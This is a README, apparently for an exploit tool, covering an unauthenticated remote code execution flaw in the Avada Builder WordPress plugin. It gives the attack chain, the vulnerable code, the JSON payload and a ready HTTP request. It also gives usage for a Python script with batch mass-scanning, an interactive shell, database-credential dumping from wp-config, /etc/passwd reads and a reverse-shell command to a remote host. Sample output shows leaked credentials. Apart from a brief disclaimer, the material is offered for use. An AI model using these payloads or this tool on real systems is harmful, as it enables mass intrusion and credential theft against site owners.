xxconi/CVE-2026-6279

## 📋 概述 | 字段 | 详情 | |------|-------| | **CVE ID** | CVE-2026-6279 | | **受影响组件** | Avada Builder (Fusion Builder) <= 3.15.2 | | **主题** | WordPress Avada Theme | | **活跃安装量** | 900.000+ | | **漏洞类型** | PHP Function Injection → 未授权 RCE | | **CVSS v3.1** | **9.8 (严重)** | | **向量** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **身份验证** | ❌ 不需要 | | **用户交互** | ❌ 不需要 | | **研究员** | xxcoin | | **发布日期** | 2026-05-24 | ## 🔗 攻击链 ``` ┌─────────────────────────────────────────────────────────────────┐ │ │ │ 1. NONCE TESPİT │ │ wp_create_nonce('fusion_load_nonce') → UID 0 │ │ [fusion_post_cards] veya [fusion_table_of_contents] │ │ shortcode'u olan herkese açık sayfalarda JS'e eklenir │ │ │ │ │ ▼ │ │ 2. UNAUTHENTICATED AJAX │ │ wp_ajax_nopriv_fusion_get_widget_markup │ │ check_ajax_referer() → sadece nonce geçerliliği kontrol │ │ eder, kullanıcı kimliği doğrulanmaz │ │ │ │ │ ▼ │ │ 3. DESERİALİZASYON │ │ base64_decode(render_logics) → json_decode() │ │ Yapı doğrulaması yok — saldırgan kontrolündeki JSON │ │ │ │ │ ▼ │ │ 4. call_user_func() — ALLOWLIST YOK │ │ get_value() → wp_conditional_tags case │ │ call_user_func($value['function'], $value['args']) │ │ Herhangi bir PHP fonksiyonu çağrılabilir │ │ │ │ │ ▼ │ │ 5. RCE ✓ │ │ system("id") → uid=1000(xxcoin) │ │ Web sunucusu yetkisiyle tam komut yürütme │ │ │ └─────────────────────────────────────────────────────────────────┘ ``` ## 🧬 技术细节 ### 漏洞位置 `class-fusion-builder-conditional-render-helper.php` — L1531: ``` // VULNERABLE CODE case 'wp_conditional_tags': $decoded = json_decode( base64_decode( $render_logics ), true ); // ❌ Allowlist kontrolü yok return call_user_func( $decoded['function'], $decoded['args'] ); ``` ### Payload 结构 ``` { "type": "wp_conditional_tags", "value": { "function": "system", "args": "id" } } ``` ### HTTP 请求 ``` POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest action=fusion_get_widget_markup fusion_load_nonce= render_logics= widget_type=WP_Widget_Recent_Posts type=WP_Widget_Recent_Posts widget_id=2 number=2 ``` ## ✅ 已验证的 RCE 函数 | 函数 | 参数 | 结果 | 状态 | |-----------|---------|-------|-------| | `system()` | `id` | `uid=1000(xenon1337)` | ✅ 成功 | | `passthru()` | `id` | `uid=1000(xenon1337)` | ✅ 成功 | | `shell_exec()` | `id` | `uid=1000(xenon1337)` | ✅ 成功 | | `exec()` | `id` | `uid=1000(xenon1337)` | ✅ 成功 | | `file_get_contents()` | `/etc/passwd` | `root:x:0:0:...` | ✅ 成功 | | `proc_open()` | — | — | ❌ 需要 2 个以上参数 | | `popen()` | — | — | ❌ 需要 2 个以上参数 | ## 🔑 为什么 Nonce 可以被绕过？ ``` 1. Avada, fusion_load_nonce'u UID 0 (public kullanıcı) için üretir 2. [fusion_post_cards] veya [fusion_table_of_contents] shortcode'u içeren sayfalarda nonce JS çıktısına eklenir → herkes görebilir 3. check_ajax_referer('fusion_load_nonce') sadece nonce'un geçerliliğini doğrular — kullanıcının kimliğini doğrulamaz 4. Sonuç: Herhangi bir ziyaretçi nonce'u alıp endpoint'i çağırabilir ``` ## 📁 源码参考 | 文件 | 行号 | 函数 | 描述 | |-------|-------|-----------|----------| | `class-fusion-builder-conditional-render-helper.php` | L1083 | `should_render()` | render_logics 反序列化 | | `class-fusion-builder-conditional-render-helper.php` | **L1531** | `get_value()` | ⚠️ `call_user_func()` — 无白名单限制 | | `fusion-widget.php` | L44 | — | render_logics 关联 | | `fusion-widget.php` | L389 | — | `wp_ajax_nopriv` AJAX handler 注册 | | `class-fusion-builder.php` | L7551 | — | 针对 UID 0 的确定性 nonce 注册 | ## 🚀 安装与使用 ### 环境要求 ``` pip install requests packaging ``` ### 使用方法 ``` # 菜单模式 (single + batch) python3 CVE-2026-6279.py # 无协议 (自动检测) python3 CVE-2026-6279.py target.com # 使用协议 python3 CVE-2026-6279.py http://target.com python3 CVE-2026-6279.py https://target.com # 使用端口 python3 CVE-2026-6279.py target.com:8080 python3 CVE-2026-6279.py http://target.com:8080 ``` ### 菜单 ``` ♡ [1] Single target · interactive shell ◆ [2] Batch scan · file exploit ✗ [3] Exit ``` ### 交互式 Shell 命令 ``` shell> id # komut çalıştır shell> cd /var/www/html # dizin değiştir shell> upload local.php /tmp/x.php # dosya yükle shell> download /etc/passwd # dosya indir shell> wp-config # DB bilgileri shell> recon # sistem taraması shell> revshell 10.0.0.1 4444 # reverse shell shell> exit # çık ``` ### 批量扫描 ``` # targets.txt 格式： target1.com http://target2.com https://target3.com:8080 # 注释行 (跳过) ``` ``` ♡ targets file [targets.txt]: ♡ threads [10]: 30 ♡ command [id]: ♡ output file [vuln.txt]: ``` ## 🖥️ PoC 输出 ``` ╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║ ║ Unauthenticated RCE via call_user_func() ║ ║ Copyright © 2026 xxcoin · Thanks: xxcoin 💜 ║ ╚══════════════════════════════════════════════════════════════╝ ★ Avada tespit edildi! (http://localhost:8888) ★ nonce: b6d7b084c2 (src: /blog/) [shortcode✓] ★ AJAX: http://localhost:8888/wp-admin/admin-ajax.php ★ RCE: system() [B] [WP_Widget_Recent_Posts] • uid=1000(xxcoin) gid=1000(xxcoin) groups=1000 shell> uname -a • Linux debian 6.1.0-21-amd64 #1 SMP x86_64 GNU/Linux shell> wp-config • DB_NAME=wordpress • DB_USER=wp_user • DB_PASSWORD=s3cr3t_p4ss! • DB_HOST=localhost ``` ## 📊 CVSS v3.1 | 指标 | 值 | |--------|-------| | Attack Vector | **Network** | | Attack Complexity | **Low** | | Privileges Required | **None** | | User Interaction | **None** | | Scope | Unchanged | | Confidentiality | **High** | | Integrity | **High** | | Availability | **High** | | **总分** | **9.8 — 严重** | ``` CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ``` ## ⚠️ 法律免责声明 本工具仅供**授权的安全测试**和**教育目的**使用。 未经授权访问系统是非法行为。所有责任由用户承担。

telegram. https://t.me/+-GYq8ydL9AYwZGI8) **CVE-2026-6279 · Avada Builder <= 3.15.2 ·xxcoin · 2026** *特别感谢: Shadow Girlfriend 💜*

标签：CISA项目, WordPress插件, 安全漏洞, 无服务器架构, 编程工具, 远程代码执行, 逆向工具